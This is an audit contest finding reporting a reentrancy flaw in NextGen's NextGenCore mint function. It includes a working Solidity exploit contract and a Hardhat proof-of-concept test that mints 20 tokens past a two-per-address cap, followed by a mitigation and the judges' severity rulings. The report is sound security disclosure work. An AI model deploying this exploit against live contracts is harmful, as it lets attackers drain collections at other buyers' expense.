Attacker can exploit reentrancy to mint more tokens than allowed.

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L227-L232

Vulnerability details

Impact

Due to the fact that tokensMintedPerAddress and tokensMintedAllowlistAddress are only incremented after _mintProcessing() execution, an attacker can exploit reentrancy to mint how many tokens they want, thus bypassing maxCollectionPurchases and _maxAllowance, respectively.

Proof of Concept

Consider the snippet from the NextGenCore::mint() function. Note that both mappings tokensMintedPerAddress and tokensMintedAllowlistAddress, used to register how many tokens each address has minted, are only incremented after the call to _mintProcessing(). This allows attackers to exploit the fact that _mintProcessing() utilizes safeMint() and thus handles execution back to the receiving address (due to _checkOnERC721Received()), to call again mint().
Since, at this point , tokensMintedPerAddress or tokensMintedAllowlistAddress hasn't been incremented yet, the execution proceeds with outdated values. This process can be iterated as long as the attacker desires, enabling them to mint an arbitrary number of tokens, limited only by the maximum token count in a collection. This vulnerability applies to both the allowlist and public mint phases.

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
    require(msg.sender == minterContract, "Caller is not the Minter Contract");
    collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
    if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
        _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        if (phase == 1) {
            tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
        } else {
            tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
        }
    }
}

Consider the example below for a public mint scenario. First the attacker deploys the following contract. The modified onERC721Received() function allows the contract to call MinterContract::mint() when it is called by the _checkOnERC721Received() method from NextGenCore.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

contract Exploit {
    uint256 public mints;
    uint256 public counter;
    address public minter;
    uint256 public price;
    bytes public mintData;

    function config(uint256 _mints, address _minter) external {
        mints = _mints;
        minter = _minter;
    }

    function resetCounter() external {
        counter = 0;
    }

    function configMint(
        uint256 collectionId,
        uint256 numberOfTokens,
        uint256 maxAllowance,
        string calldata tokenData,
        address mintTo,
        bytes32[] calldata merkleProof,
        address delegator,
        uint256 _saltfun_o,
        uint256 _price
    ) external payable {
        price = _price;
        mintData = abi.encodeWithSignature(
            "mint(uint256,uint256,uint256,string,address,bytes32[],address,uint256)",
            collectionId,
            numberOfTokens,
            maxAllowance,
            tokenData,
            mintTo,
            merkleProof,
            delegator,
            _saltfun_o
        );
    }

    function mint() external {
        (bool success, ) = minter.call(mintData);
        require(success, "Mint failed");
    }

    function onERC721Received(
            address operator,
            address from,
            uint256 tokenId,
            bytes calldata data
    ) external returns (bytes4) {
        counter += 1;
        if (counter < mints) {
            (bool success, ) = minter.call(mintData);
            require(success, "Failed to mint");
        }
        return this.onERC721Received.selector;
    }
}

Then the attaker has to configure how many tokens he wants to mint, controlled by the mint parameter and call Exploit::mint(). See the hardhat test code below. Note that at the end the Exploit contract has minted 20 tokens, way above the maximum limit of two tokens per address set.

const {
  loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai")
const { ethers } = require("hardhat")
const fixturesDeployment = require("../scripts/fixturesDeployment.js")

let signers
let contracts

describe("Reentrancy POC", function () {
  before(async function () {
    ;({ signers, contracts } = await loadFixture(fixturesDeployment))
  })

  it("Mint above _maxCollectionPurchases", async function () {
    // START OF SETUP
    await contracts.hhCore.createCollection(
      "Test Collection 1",
      "Artist 1",
      "For testing",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"],
    )

    await contracts.hhAdmin.registerCollectionAdmin(
      1,
      signers.addr1.address,
      true,
    )

    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      1, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      2, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0, // _setFinalSupplyTimeAfterMint
    )

    await contracts.hhCore.addMinterContract(
      contracts.hhMinter,
    )

    await contracts.hhCore.addRandomizer(
      1, contracts.hhRandomizer,
    )

    await contracts.hhMinter.setCollectionCosts(
      1, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      0, // _timePeriod
      1, // _salesOptions
      '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
    )
    
    await contracts.hhMinter.setCollectionPhases(
      1, // _collectionID
      1609810637, // _allowlistStartTime
      1609810638, // _allowlistEndTime
      1609810639, // _publicStartTime
      1796931278, // _publicEndTime
      "0x6a526ce5747bbf2c42fee90301d0e7bbec4240dc432ebe23e863f10b80f7fff8", // _merkleRoot
    )

    const Exploit = await ethers.getContractFactory("Exploit")
    const exploit = await Exploit.deploy()
    const exploitAddress = await exploit.getAddress()
    const minterAddress = await contracts.hhMinter.getAddress()

    // END OF SETUP

    // Attacker configure how much tokens he want to mint (20)
    // and the address of the minter contract
    await exploit.config(20, minterAddress)

    // Attacker configure the call to MinterContract::mint()
    await exploit.configMint(
      1,
      1,
      0,
      '{"name":"hello"}', // _tokenData
      exploitAddress, // _mintTo
      ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"],
      signers.addr1.address, //signers.addr1.address, // _delegator
      2, //_varg0
      0
    )

    // Attacker initiates the reentrancy chain.
    await exploit.mint()

    // Check that attacker has minted sucessfully 20 tokens.
    const balance = await contracts.hhCore.balanceOf(exploitAddress)
    expect(parseInt(balance)).to.equal(20);
  })
})

Tools Used

Manual Review.

Recommended Mitigation Steps

Consider following the Checks-Effects-Interactions pattern and increment tokensMintedPerAddress and tokensMintedAllowlistAddress before the call to _mintProcessing().

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #51

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 3 (High Risk)